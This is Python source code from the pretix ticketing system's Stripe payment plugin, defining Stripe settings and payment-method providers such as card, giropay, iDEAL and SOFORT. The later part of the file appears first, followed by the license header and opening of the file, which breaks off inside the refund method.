payment.info = str(intent)
payment.state = OrderPayment.PAYMENT_STATE_CREATED
payment.save()
self._confirm_payment_intent(request, payment)
elif intent.status == 'succeeded' and intent.charges.data[-1].paid:
try:
payment.info = str(intent)
payment.confirm()
except Quota.QuotaExceededException as e:
raise PaymentException(str(e))
except SendMailException:
raise PaymentException(_('There was an error sending the confirmation mail.'))
elif intent.status == 'processing':
if request:
messages.warning(request, _('Your payment is pending completion. We will inform you as soon as the '
'payment completed.'))
payment.info = str(intent)
payment.state = OrderPayment.PAYMENT_STATE_PENDING
payment.save()
return
elif intent.status == 'requires_payment_method':
if request:
messages.warning(request, _('Your payment failed. Please try again.'))
payment.fail(info=str(intent))
return
else:
logger.info('Charge failed: %s' % str(intent))
payment.fail(info=str(intent))
raise PaymentException(_('Stripe reported an error: %s') % intent.last_payment_error.message)
def _confirm_payment_intent(self, request, payment):
self._init_api()
try:
payment_info = json.loads(payment.info)
intent = stripe.PaymentIntent.confirm(
payment_info['id'],
return_url=build_absolute_uri(self.event, 'plugins:stripe:sca.return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
}),
**self.api_kwargs
)
payment.info = str(intent)
payment.save()
self._handle_payment_intent(request, payment)
except stripe.error.CardError as e:
if e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
logger.info('Stripe card error: %s' % str(err))
payment.fail(info={
'error': True,
'message': err['message'],
})
raise PaymentException(_('Stripe reported an error with your card: %s') % err['message'])
except stripe.error.InvalidRequestError as e:
if e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
payment.fail(info={
'error': True,
'message': err['message'],
})
raise PaymentException(_('We had trouble communicating with Stripe. Please try again and get in touch '
'with us if this problem persists.'))
def payment_presale_render(self, payment: OrderPayment) -> str:
pi = payment.info_data or {}
try:
if "charges" in pi:
card = pi["charges"]["data"][0]["payment_method_details"]["card"]
else:
card = pi["source"]["card"]
except:
logger.exception('Could not parse payment data')
return super().payment_presale_render(payment)
return f'{self.public_name}: ' \
f'{card.get('brand', '').title()} ' \
f'************{card.get('last4', '****')}, ' \
f'{_('expires {month}/{year}').format(month=card.get('exp_month'), year=card.get('exp_year'))}'
class StripeGiropay(StripeMethod):
identifier = 'stripe_giropay'
verbose_name = _('giropay via Stripe')
public_name = _('giropay')
method = 'giropay'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'form': self.payment_form(request)
}
return template.render(ctx)
@property
def payment_form_fields(self):
return OrderedDict([
('account', forms.CharField(label=_('Account holder'))),
])
def _create_source(self, request, payment):
try:
source = stripe.Source.create(
type='giropay',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
owner={
'name': request.session.get('payment_stripe_giropay_account') or gettext('unknown name')
},
statement_descriptor=self.statement_descriptor(payment, 35),
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
finally:
if 'payment_stripe_giropay_account' in request.session:
del request.session['payment_stripe_giropay_account']
def payment_is_valid_session(self, request):
return (
request.session.get('payment_stripe_giropay_account', '') != ''
)
def checkout_prepare(self, request, cart):
form = self.payment_form(request)
if form.is_valid():
request.session['payment_stripe_giropay_account'] = form.cleaned_data['account']
return True
return False
def payment_presale_render(self, payment: OrderPayment) -> str:
pi = payment.info_data or {}
try:
return gettext('Bank account at {bank}').format(bank=pi["source"]["giropay"]["bank_name"])
except:
logger.exception('Could not parse payment data')
return super().payment_presale_render(payment)
class StripeIdeal(StripeMethod):
identifier = 'stripe_ideal'
verbose_name = _('iDEAL via Stripe')
public_name = _('iDEAL')
method = 'ideal'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple_noform.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
}
return template.render(ctx)
def _create_source(self, request, payment):
source = stripe.Source.create(
type='ideal',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
statement_descriptor=self.statement_descriptor(payment),
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
def payment_is_valid_session(self, request):
return True
def checkout_prepare(self, request, cart):
return True
def payment_presale_render(self, payment: OrderPayment) -> str:
pi = payment.info_data or {}
try:
return gettext('Bank account at {bank}').format(bank=pi["source"]["ideal"]["bank"])
except:
logger.exception('Could not parse payment data')
return super().payment_presale_render(payment)
class StripeAlipay(StripeMethod):
identifier = 'stripe_alipay'
verbose_name = _('Alipay via Stripe')
public_name = _('Alipay')
method = 'alipay'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple_noform.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
}
return template.render(ctx)
def _create_source(self, request, payment):
source = stripe.Source.create(
type='alipay',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
def payment_is_valid_session(self, request):
return True
def checkout_prepare(self, request, cart):
return True
class StripeBancontact(StripeMethod):
identifier = 'stripe_bancontact'
verbose_name = _('Bancontact via Stripe')
public_name = _('Bancontact')
method = 'bancontact'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'form': self.payment_form(request)
}
return template.render(ctx)
@property
def payment_form_fields(self):
return OrderedDict([
('account', forms.CharField(label=_('Account holder'), min_length=3)),
])
def _create_source(self, request, payment):
try:
source = stripe.Source.create(
type='bancontact',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
owner={
'name': request.session.get('payment_stripe_bancontact_account') or gettext('unknown name')
},
statement_descriptor=self.statement_descriptor(payment, 35),
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
finally:
if 'payment_stripe_bancontact_account' in request.session:
del request.session['payment_stripe_bancontact_account']
def payment_is_valid_session(self, request):
return (
request.session.get('payment_stripe_bancontact_account', '') != ''
)
def checkout_prepare(self, request, cart):
form = self.payment_form(request)
if form.is_valid():
request.session['payment_stripe_bancontact_account'] = form.cleaned_data['account']
return True
return False
def payment_presale_render(self, payment: OrderPayment) -> str:
pi = payment.info_data or {}
try:
return gettext('Bank account at {bank}').format(bank=pi["source"]["bancontact"]["bank_name"])
except:
logger.exception('Could not parse payment data')
return super().payment_presale_render(payment)
class StripeSofort(StripeMethod):
identifier = 'stripe_sofort'
verbose_name = _('SOFORT via Stripe')
public_name = _('SOFORT')
method = 'sofort'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'form': self.payment_form(request)
}
return template.render(ctx)
@property
def payment_form_fields(self):
return OrderedDict([
('bank_country', forms.ChoiceField(label=_('Country of your bank'), choices=(
('de', _('Germany')),
('at', _('Austria')),
('be', _('Belgium')),
('nl', _('Netherlands')),
('es', _('Spain'))
))),
])
def _create_source(self, request, payment):
source = stripe.Source.create(
type='sofort',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
statement_descriptor=self.statement_descriptor(payment, 35),
sofort={
'country': request.session.get('payment_stripe_sofort_bank_country'),
},
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
def payment_is_valid_session(self, request):
return (
request.session.get('payment_stripe_sofort_bank_country', '') != ''
)
def checkout_prepare(self, request, cart):
form = self.payment_form(request)
if form.is_valid():
request.session['payment_stripe_sofort_bank_country'] = form.cleaned_data['bank_country']
return True
return False
def payment_can_retry(self, payment):
return payment.state != OrderPayment.PAYMENT_STATE_PENDING and self._is_still_available(order=payment.order)
def payment_presale_render(self, payment: OrderPayment) -> str:
pi = payment.info_data or {}
try:
return gettext('Bank account {iban} at {bank}').format(
iban=f'{pi['source']['sofort']['country']}****{pi['source']['sofort']['iban_last4']}',
bank=pi["source"]["sofort"]["bank_name"]
)
except:
logger.exception('Could not parse payment data')
return super().payment_presale_render(payment)
class StripeEPS(StripeMethod):
identifier = 'stripe_eps'
verbose_name = _('EPS via Stripe')
public_name = _('EPS')
method = 'eps'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'form': self.payment_form(request)
}
return template.render(ctx)
@property
def payment_form_fields(self):
return OrderedDict([
('account', forms.CharField(label=_('Account holder'))),
])
def _create_source(self, request, payment):
try:
source = stripe.Source.create(
type='eps',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
owner={
'name': request.session.get('payment_stripe_eps_account') or gettext('unknown name')
},
statement_descriptor=self.statement_descriptor(payment),
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
finally:
if 'payment_stripe_eps_account' in request.session:
del request.session['payment_stripe_eps_account']
def payment_is_valid_session(self, request):
return (
request.session.get('payment_stripe_eps_account', '') != ''
)
def checkout_prepare(self, request, cart):
form = self.payment_form(request)
if form.is_valid():
request.session['payment_stripe_eps_account'] = form.cleaned_data['account']
return True
return False
def payment_presale_render(self, payment: OrderPayment) -> str:
pi = payment.info_data or {}
try:
return gettext('Bank account at {bank}').format(bank=pi["source"]["eps"]["bank"].replace('_', '').title())
except:
logger.exception('Could not parse payment data')
return super().payment_presale_render(payment)
class StripeMultibanco(StripeMethod):
identifier = 'stripe_multibanco'
verbose_name = _('Multibanco via Stripe')
public_name = _('Multibanco')
method = 'multibanco'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple_noform.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'form': self.payment_form(request)
}
return template.render(ctx)
def _create_source(self, request, payment):
source = stripe.Source.create(
type='multibanco',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
owner={
'email': payment.order.email
},
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
def payment_is_valid_session(self, request):
return True
def checkout_prepare(self, request, cart):
return True
class StripePrzelewy24(StripeMethod):
identifier = 'stripe_przelewy24'
verbose_name = _('Przelewy24 via Stripe')
public_name = _('Przelewy24')
method = 'przelewy24'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple_noform.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'form': self.payment_form(request)
}
return template.render(ctx)
def _create_source(self, request, payment):
source = stripe.Source.create(
type='p24',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
owner={
'email': payment.order.email
},
statement_descriptor=self.statement_descriptor(payment, 35),
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
def payment_is_valid_session(self, request):
return True
def checkout_prepare(self, request, cart):
return True
def payment_presale_render(self, payment: OrderPayment) -> str:
pi = payment.info_data or {}
try:
return gettext('Bank account at {bank}').format(bank=pi["source"]["p24"]["bank"].replace('_', '').title())
except:
logger.exception('Could not parse payment data')
return super().payment_presale_render(payment)
class StripeWeChatPay(StripeMethod):
identifier = 'stripe_wechatpay'
verbose_name = _('WeChat Pay via Stripe')
public_name = _('WeChat Pay')
method = 'wechatpay'
def payment_form_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_form_simple_noform.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'form': self.payment_form(request)
}
return template.render(ctx)
def _create_source(self, request, payment):
source = stripe.Source.create(
type='wechat',
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
statement_descriptor=self.statement_descriptor(payment, 32),
redirect={
'return_url': build_absolute_uri(self.event, 'plugins:stripe:return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
},
**self.api_kwargs
)
return source
def payment_is_valid_session(self, request):
return True
def checkout_prepare(self, request, cart):
return True
def execute_payment(self, request: HttpRequest, payment: OrderPayment):
self._init_api()
try:
source = self._create_source(request, payment)
except stripe.error.IdempotencyError as e:
# Same thing happening twice – we don't want to record a failure, as that might prevent the
# other thread from succeeding.
if e.json_body and 'error' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
logger.exception('Stripe error: %s' % str(e))
return
except stripe.error.StripeError as e:
if e.json_body and 'err' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
payment.fail(info={
'error': True,
'message': err['message'],
})
raise PaymentException(_('We had trouble communicating with Stripe. Please try again and get in touch '
'with us if this problem persists.'))
ReferencedStripeObject.objects.get_or_create(
reference=source.id,
defaults={'order': payment.order, 'payment': payment}
)
payment.info = str(source)
payment.save()
return eventreverse(request.event, 'presale:event.order', kwargs={
'order': payment.order.code,
'secret': payment.order.secret
})
| #
# This file is part of pretix (Community Edition).
#
# Copyright (C) 2014-2020 Raphael Michel and contributors
# Copyright (C) 2020-2021 rami.io GmbH and contributors
#
# This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General
# Public License as published by the Free Software Foundation in version 3 of the License.
#
# ADDITIONAL TERMS APPLY: Pursuant to Section 7 of the GNU Affero General Public License, additional terms are
# applicable granting you additional permissions and placing additional restrictions on your usage of this software.
# Please refer to the pretix LICENSE file to obtain the full terms applicable to this work. If you did not receive
# this file, see <https://pretix.eu/about/en/license>.
#
# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more
# details.
#
# You should have received a copy of the GNU Affero General Public License along with this program. If not, see
# <https://www.gnu.org/licenses/>.
#
# This file is based on an earlier version of pretix which was released under the Apache License 2.0. The full text of
# the Apache License 2.0 can be obtained at <http://www.apache.org/licenses/LICENSE-2.0>.
#
# This file may have since been changed and any changes are released under the terms of AGPLv3 as described above. A
# full history of changes and contributors is available at <https://github.com/pretix/pretix>.
#
# This file contains Apache-licensed contributions copyrighted by: FlaviaBastos, Jakob Schnell, Tobias Kunze, luto
#
# Unless required by applicable law or agreed to in writing, software distributed under the Apache License 2.0 is
# distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations under the License.
import hashlib
import json
import logging
import re
import urllib.parse
from collections import OrderedDict
from decimal import Decimal
import stripe
from django import forms
from django.conf import settings
from django.contrib import messages
from django.core import signing
from django.db import transaction
from django.http import HttpRequest
from django.template.loader import get_template
from django.urls import reverse
from django.utils.crypto import get_random_string
from django.utils.safestring import mark_safe
from django.utils.timezone import now
from django.utils.translation import gettext, gettext_lazy as _, pgettext
from django_countries import countries
from pretix import __version__
from pretix.base.decimal import round_decimal
from pretix.base.forms import SecretKeySettingsField
from pretix.base.models import Event, OrderPayment, OrderRefund, Quota
from pretix.base.payment import BasePaymentProvider, PaymentException
from pretix.base.plugins import get_all_plugins
from pretix.base.services.mail import SendMailException
from pretix.base.settings import SettingsSandbox
from pretix.helpers.urls import build_absolute_uri as build_global_uri
from pretix.multidomain.urlreverse import build_absolute_uri, eventreverse
from pretix.plugins.stripe.forms import StripeKeyValidator
from pretix.plugins.stripe.models import (
ReferencedStripeObject, RegisteredApplePayDomain,
)
from pretix.plugins.stripe.tasks import (
get_stripe_account_key, stripe_verify_domain,
)
logger = logging.getLogger('pretix.plugins.stripe')
class StripeSettingsHolder(BasePaymentProvider):
identifier = 'stripe_settings'
verbose_name = _('Stripe')
is_enabled = False
is_meta = True
def __init__(self, event: Event):
super().__init__(event)
self.settings = SettingsSandbox('payment', 'stripe', event)
def get_connect_url(self, request):
request.session['payment_stripe_oauth_event'] = request.event.pk
if 'payment_stripe_oauth_token' not in request.session:
request.session['payment_stripe_oauth_token'] = get_random_string(32)
return (
"https://connect.stripe.com/oauth/authorize?response_type=code&client_id={}&state={}"
"&scope=read_write&redirect_uri={}"
).format(
self.settings.connect_client_id,
request.session['payment_stripe_oauth_token'],
urllib.parse.quote(build_global_uri('plugins:stripe:oauth.return')),
)
def settings_content_render(self, request):
if self.settings.connect_client_id and not self.settings.secret_key:
# Use Stripe connect
if not self.settings.connect_user_id:
return (
"<p>{}</p>"
"<a href='{}' class='btn btn-primary btn-lg'>{}</a>"
).format(
_('To accept payments via Stripe, you will need an account at Stripe. By clicking on the '
'following button, you can either create a new Stripe account connect pretix to an existing '
'one.'),
self.get_connect_url(request),
_('Connect with Stripe')
)
else:
return (
"<button formaction='{}' class='btn btn-danger'>{}</button>"
).format(
reverse('plugins:stripe:oauth.disconnect', kwargs={
'organizer': self.event.organizer.slug,
'event': self.event.slug,
}),
_('Disconnect from Stripe')
)
else:
return "<div class='alert alert-info'>%s<br /><code>%s</code></div>" % (
_('Please configure a <a href="https://dashboard.stripe.com/account/webhooks">Stripe Webhook</a> to '
'the following endpoint in order to automatically cancel orders when charges are refunded externally '
'and to process asynchronous payment methods like SOFORT.'),
build_global_uri('plugins:stripe:webhook')
)
@property
def settings_form_fields(self):
if 'pretix_resellers' in [p.module for p in get_all_plugins()]:
moto_settings = [
('reseller_moto',
forms.BooleanField(
label=_('Enable MOTO payments for resellers'),
help_text=(
_('Gated feature (needs to be enabled for your account by Stripe support first)') +
'<div class="alert alert-danger">%s</div>' % _(
'We can flag the credit card transaction you make through the reseller interface as MOTO '
'(Mail Order / Telephone Order), which will exempt them from Strong Customer '
'Authentication (SCA) requirements. However: By enabling this feature, you will need to '
'fill out yearly PCI-DSS self-assessment forms like the 40 page SAQ D. Please consult the '
'%s for further information on this subject.' %
'<a href="https://stripe.com/docs/security">{}</a>'.format(
_('Stripe Integration security guide')
)
)
),
required=False,
))
]
else:
moto_settings = []
if self.settings.connect_client_id and not self.settings.secret_key:
# Stripe connect
if self.settings.connect_user_id:
fields = [
('connect_user_name',
forms.CharField(
label=_('Stripe account'),
disabled=True
)),
('endpoint',
forms.ChoiceField(
label=_('Endpoint'),
initial='live',
choices=(
('live', pgettext('stripe', 'Live')),
('test', pgettext('stripe', 'Testing')),
),
help_text=_('If your event is in test mode, we will always use Stripe\'s test API, '
'regardless of this setting.')
)),
]
else:
return {}
else:
allcountries = list(countries)
allcountries.insert(0, ('', _('Select country')))
fields = [
('publishable_key',
forms.CharField(
label=_('Publishable key'),
help_text=_('<a target="_blank" rel="noopener" href="{docs_url}">{text}</a>').format(
text=_('Click here for a tutorial on how to obtain the required keys'),
docs_url='https://docs.pretix.eu/en/latest/user/payments/stripe.html'
),
validators=(
StripeKeyValidator('pk_'),
),
)),
('secret_key',
SecretKeySettingsField(
label=_('Secret key'),
validators=(
StripeKeyValidator(['sk_', 'rk_']),
),
)),
('merchant_country',
forms.ChoiceField(
choices=allcountries,
label=_('Merchant country'),
help_text=_('The country in which your Stripe-account is registered in. Usually, this is your '
'country of residence.'),
)),
]
d = OrderedDict(
fields + [
('method_cc',
forms.BooleanField(
label=_('Credit card payments'),
required=False,
)),
('method_giropay',
forms.BooleanField(
label=_('giropay'),
disabled=self.event.currency != 'EUR',
help_text=_('Needs to be enabled in your Stripe account first.'),
required=False,
)),
('method_ideal',
forms.BooleanField(
label=_('iDEAL'),
disabled=self.event.currency != 'EUR',
help_text=_('Needs to be enabled in your Stripe account first.'),
required=False,
)),
('method_alipay',
forms.BooleanField(
label=_('Alipay'),
disabled=self.event.currency not in ('EUR', 'AUD', 'CAD', 'GBP', 'HKD', 'JPY', 'NZD', 'SGD', 'USD'),
help_text=_('Needs to be enabled in your Stripe account first.'),
required=False,
)),
('method_bancontact',
forms.BooleanField(
label=_('Bancontact'),
disabled=self.event.currency != 'EUR',
help_text=_('Needs to be enabled in your Stripe account first.'),
required=False,
)),
('method_sofort',
forms.BooleanField(
label=_('SOFORT'),
disabled=self.event.currency != 'EUR',
help_text=(
_('Needs to be enabled in your Stripe account first.') +
'<div class="alert alert-warning">%s</div>' % _(
'Despite the name, Sofort payments via Stripe are <strong>not</strong> processed '
'instantly but might take up to <strong>14 days</strong> to be confirmed in some cases. '
'Please only activate this payment method if your payment term allows for this lag.'
)
),
required=False,
)),
('method_eps',
forms.BooleanField(
label=_('EPS'),
disabled=self.event.currency != 'EUR',
help_text=_('Needs to be enabled in your Stripe account first.'),
required=False,
)),
('method_multibanco',
forms.BooleanField(
label=_('Multibanco'),
disabled=self.event.currency != 'EUR',
help_text=_('Needs to be enabled in your Stripe account first.'),
required=False,
)),
('method_przelewy24',
forms.BooleanField(
label=_('Przelewy24'),
disabled=self.event.currency not in ['EUR', 'PLN'],
help_text=_('Needs to be enabled in your Stripe account first.'),
required=False,
)),
('method_wechatpay',
forms.BooleanField(
label=_('WeChat Pay'),
disabled=self.event.currency not in ['AUD', 'CAD', 'EUR', 'GBP', 'HKD', 'JPY', 'SGD', 'USD'],
help_text=_('Needs to be enabled in your Stripe account first.'),
required=False,
)),
] + list(super().settings_form_fields.items()) + moto_settings
)
if not self.settings.connect_client_id or self.settings.secret_key:
d['connect_destination'] = forms.CharField(
label=_('Destination'),
validators=(
StripeKeyValidator(['acct_']),
),
required=False
)
d.move_to_end('_enabled', last=False)
return d
class StripeMethod(BasePaymentProvider):
identifier = ''
method = ''
def __init__(self, event: Event):
super().__init__(event)
self.settings = SettingsSandbox('payment', 'stripe', event)
@property
def test_mode_message(self):
if self.settings.connect_client_id and not self.settings.secret_key:
is_testmode = True
else:
is_testmode = self.settings.secret_key and '_test_' in self.settings.secret_key
if is_testmode:
return mark_safe(
_('The Stripe plugin is operating in test mode. You can use one of <a {args}>many test '
'cards</a> to perform a transaction. No money will actually be transferred.').format(
args='href="https://stripe.com/docs/testing#cards" target="_blank"'
)
)
return None
@property
def settings_form_fields(self):
return {}
@property
def is_enabled(self) -> bool:
return self.settings.get('_enabled', as_type=bool) and self.settings.get('method_{}'.format(self.method),
as_type=bool)
def payment_refund_supported(self, payment: OrderPayment) -> bool:
return True
def payment_partial_refund_supported(self, payment: OrderPayment) -> bool:
return True
def payment_prepare(self, request, payment):
return self.checkout_prepare(request, None)
def _amount_to_decimal(self, cents):
places = settings.CURRENCY_PLACES.get(self.event.currency, 2)
return round_decimal(float(cents) / (10 ** places), self.event.currency)
def _decimal_to_int(self, amount):
places = settings.CURRENCY_PLACES.get(self.event.currency, 2)
return int(amount * 10 ** places)
def _get_amount(self, payment):
return self._decimal_to_int(payment.amount)
def _connect_kwargs(self, payment):
d = {}
if self.settings.connect_client_id and self.settings.connect_user_id:
fee = Decimal('0.00')
if self.settings.get('connect_app_fee_percent', as_type=Decimal):
fee = round_decimal(self.settings.get('connect_app_fee_percent', as_type=Decimal) * payment.amount / Decimal('100.00'), self.event.currency)
if self.settings.connect_app_fee_max:
fee = min(fee, self.settings.get('connect_app_fee_max', as_type=Decimal))
if self.settings.get('connect_app_fee_min', as_type=Decimal):
fee = max(fee, self.settings.get('connect_app_fee_min', as_type=Decimal))
if fee:
d['application_fee_amount'] = self._decimal_to_int(fee)
if self.settings.connect_destination:
d['transfer_data'] = {
'destination': self.settings.connect_destination
}
return d
def statement_descriptor(self, payment, length=22):
return '{event}-{code} {eventname}'.format(
event=self.event.slug.upper(),
code=payment.order.code,
eventname=re.sub('[^a-zA-Z0-9 ]', '', str(self.event.name))
)[:length]
@property
def api_kwargs(self):
if self.settings.connect_client_id and self.settings.connect_user_id:
if self.settings.get('endpoint', 'live') == 'live' and not self.event.testmode:
kwargs = {
'api_key': self.settings.connect_secret_key,
'stripe_account': self.settings.connect_user_id
}
else:
kwargs = {
'api_key': self.settings.connect_test_secret_key,
'stripe_account': self.settings.connect_user_id
}
else:
kwargs = {
'api_key': self.settings.secret_key,
}
return kwargs
def _init_api(self):
stripe.api_version = '2019-05-16'
stripe.set_app_info(
"pretix",
partner_id="pp_partner_FSaz4PpKIur7Ox",
version=__version__,
url="https://pretix.eu"
)
def checkout_confirm_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_confirm.html')
ctx = {'request': request, 'event': self.event, 'settings': self.settings, 'provider': self}
return template.render(ctx)
def payment_can_retry(self, payment):
return self._is_still_available(order=payment.order)
def _charge_source(self, request, source, payment):
try:
params = {}
if not source.startswith('src_'):
params['statement_descriptor'] = self.statement_descriptor(payment)
params.update(self.api_kwargs)
params.update(self._connect_kwargs(payment))
charge = stripe.Charge.create(
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
source=source,
description='{event}-{code}'.format(
event=self.event.slug.upper(),
code=payment.order.code
),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
# TODO: Is this sufficient?
idempotency_key=str(self.event.id) + payment.order.code + source,
**params
)
except stripe.error.CardError as e:
if e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
logger.info('Stripe card error: %s' % str(err))
payment.fail(info={
'error': True,
'message': err['message'],
})
raise PaymentException(_('Stripe reported an error with your card: %s') % err['message'])
# This is not an error we normally expect, however some payment methods like iDEAL will redirect
# the user back to our confirmation page at the same time from two devices: the web browser the
# purchase is executed from and the online banking app the payment is authorized from.
# In this case we will just log the idempotency error but not expose it to the user and just
# forward them back to their order page. There is a good chance that by the time the user hits
# the order page, the other request has gone through and the payment is confirmed.
except stripe.error.IdempotencyError as e:
if e.json_body and 'error' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
logger.exception('Stripe error: %s' % str(e))
return
except stripe.error.StripeError as e:
if e.json_body and 'error' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
payment.fail(info={
'error': True,
'message': err['message'],
})
raise PaymentException(_('We had trouble communicating with Stripe. Please try again and get in touch '
'with us if this problem persists.'))
else:
ReferencedStripeObject.objects.get_or_create(
reference=charge.id,
defaults={'order': payment.order, 'payment': payment}
)
if charge.status == 'succeeded' and charge.paid:
try:
payment.info = str(charge)
payment.confirm()
except Quota.QuotaExceededException as e:
raise PaymentException(str(e))
except SendMailException:
raise PaymentException(_('There was an error sending the confirmation mail.'))
elif charge.status == 'pending':
if request:
messages.warning(request, _('Your payment is pending completion. We will inform you as soon as the '
'payment completed.'))
payment.info = str(charge)
payment.state = OrderPayment.PAYMENT_STATE_PENDING
payment.save()
return
else:
logger.info('Charge failed: %s' % str(charge))
payment.fail(info=str(charge))
raise PaymentException(_('Stripe reported an error: %s') % charge.failure_message)
def payment_pending_render(self, request, payment) -> str:
if payment.info:
payment_info = json.loads(payment.info)
else:
payment_info = None
template = get_template('pretixplugins/stripe/pending.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'provider': self,
'order': payment.order,
'payment': payment,
'payment_info': payment_info,
'payment_hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest()
}
return template.render(ctx)
def matching_id(self, payment: OrderPayment):
return payment.info_data.get("id", None)
def api_payment_details(self, payment: OrderPayment):
return {
"id": payment.info_data.get("id", None),
"payment_method": payment.info_data.get("payment_method", None)
}
def payment_control_render(self, request, payment) -> str:
if payment.info:
payment_info = json.loads(payment.info)
if 'amount' in payment_info:
payment_info['amount'] /= 10 ** settings.CURRENCY_PLACES.get(self.event.currency, 2)
else:
payment_info = None
template = get_template('pretixplugins/stripe/control.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'payment_info': payment_info,
'payment': payment,
'method': self.method,
'provider': self,
}
return template.render(ctx)
@transaction.atomic()
def execute_refund(self, refund: OrderRefund):
self._init_api()
payment_info = refund.payment.info_data
